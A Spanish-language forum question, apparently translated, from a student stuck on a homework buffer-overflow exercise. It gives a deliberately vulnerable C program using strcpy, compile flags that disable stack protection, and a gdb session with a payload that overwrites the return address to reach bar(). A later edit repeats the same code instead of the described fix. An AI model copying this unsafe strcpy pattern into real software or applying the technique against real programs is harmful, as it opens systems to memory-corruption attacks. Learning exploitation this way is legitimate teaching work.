Tengo un problema muy similar como la pregunta aquí , Pero la solución no me lo resolvió. Esta es una tarea, pero estoy completamente atascado en esto.
Tengo un fragmento de código explotable:
void foo(const char* input)
{
char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};
// This will overrun the buffer if the array pointed to by
// input is more than 12 characters long
strcpy(buf, input);
}
void bar(void)
{
printf("In bar()");
}
int main(int argc, char* argv[])
{
foo(argv[1]);
return 0;
}
El objetivo es llamar a bar()
desde un desbordamiento de búfer.
Compilé esto en un servidor Linux de Ubuntu usando este comando:
gcc vulnerable.c -g -fno-stack-protector -z execstack -O0 -m32 -o ./vuln
Estoy deshabilitando la protección smasher de pila, deshabilito el bit nx (creo) con -z execstack
. Creo que encontré el tamaño del búfer y la ubicación de la memoria (0804846b) de la función. Cuando ejecuto gdb
con una interrupción en mi main, puedo ver que parece entrar en la función:
(gdb) run $(python -c "print('\x90'*24 + '\x6b\x84\x04\x08')")
Breakpoint 1, main (argc=2, argv=0xffffd594) at vulnerable.c:27
27 foo(argv[1]);
(gdb) s
foo (input=0xffffd707 '0' <repeats 24 times>, "k4(gdb) n
bar () at vulnerable.c:20
20 {
(gdb) n
21 printf("In bar()");
(gdb) n
22 }
(gdb) info registers
eax 0x8 8
ecx 0x804b010 134524944
edx 0xf7fbd870 -134490000
ebx 0x0 0
esp 0xffffd4c4 0xffffd4c4
ebp 0xffffd4cc 0xffffd4cc
esi 0xf7fbc000 -134496256
edi 0xf7fbc000 -134496256
eip 0x8048481 0x8048481 <bar+22>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) n
0xffffd700 in ?? ()
(gdb)
4\b") at vulnerable.c:11
11 char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};
(gdb) n
15 strcpy(buf, input);
(gdb) n
16 }
(gdb) n
**bar () at vulnerable.c:20**
20 {
(gdb) info registers
eax 0xffffd4b4 -11084
ecx 0xffffd720 -10464
edx 0xffffd4cd -11059
ebx 0x0 0
esp 0xffffd4d0 0xffffd4d0
ebp 0x90909090 0x90909090
esi 0xf7fbc000 -134496256
edi 0xf7fbc000 -134496256
eip 0x804846b 0x804846b <bar>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xffffd704 in ?? ()
(gdb)
El programa sale con un fallo de seg en esa ubicación de memoria ffff
. ¿Qué me estoy perdiendo?
EDITAR: ¿llegó al regreso de la barra? Creo que sí ?:
(gdb) run $(python -c "print('A' * [NUMBER TO OVERFLOW THE BUFFER] + [address of bar] + [address of libc_start_main])")
Editar: encontré una solución, pero devuelve el código de error 10:
void foo(const char* input)
{
char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};
// This will overrun the buffer if the array pointed to by
// input is more than 12 characters long
strcpy(buf, input);
}
void bar(void)
{
printf("In bar()");
}
int main(int argc, char* argv[])
{
foo(argv[1]);
return 0;
}
Esto obtiene la impresión, pero devuelve el código 10.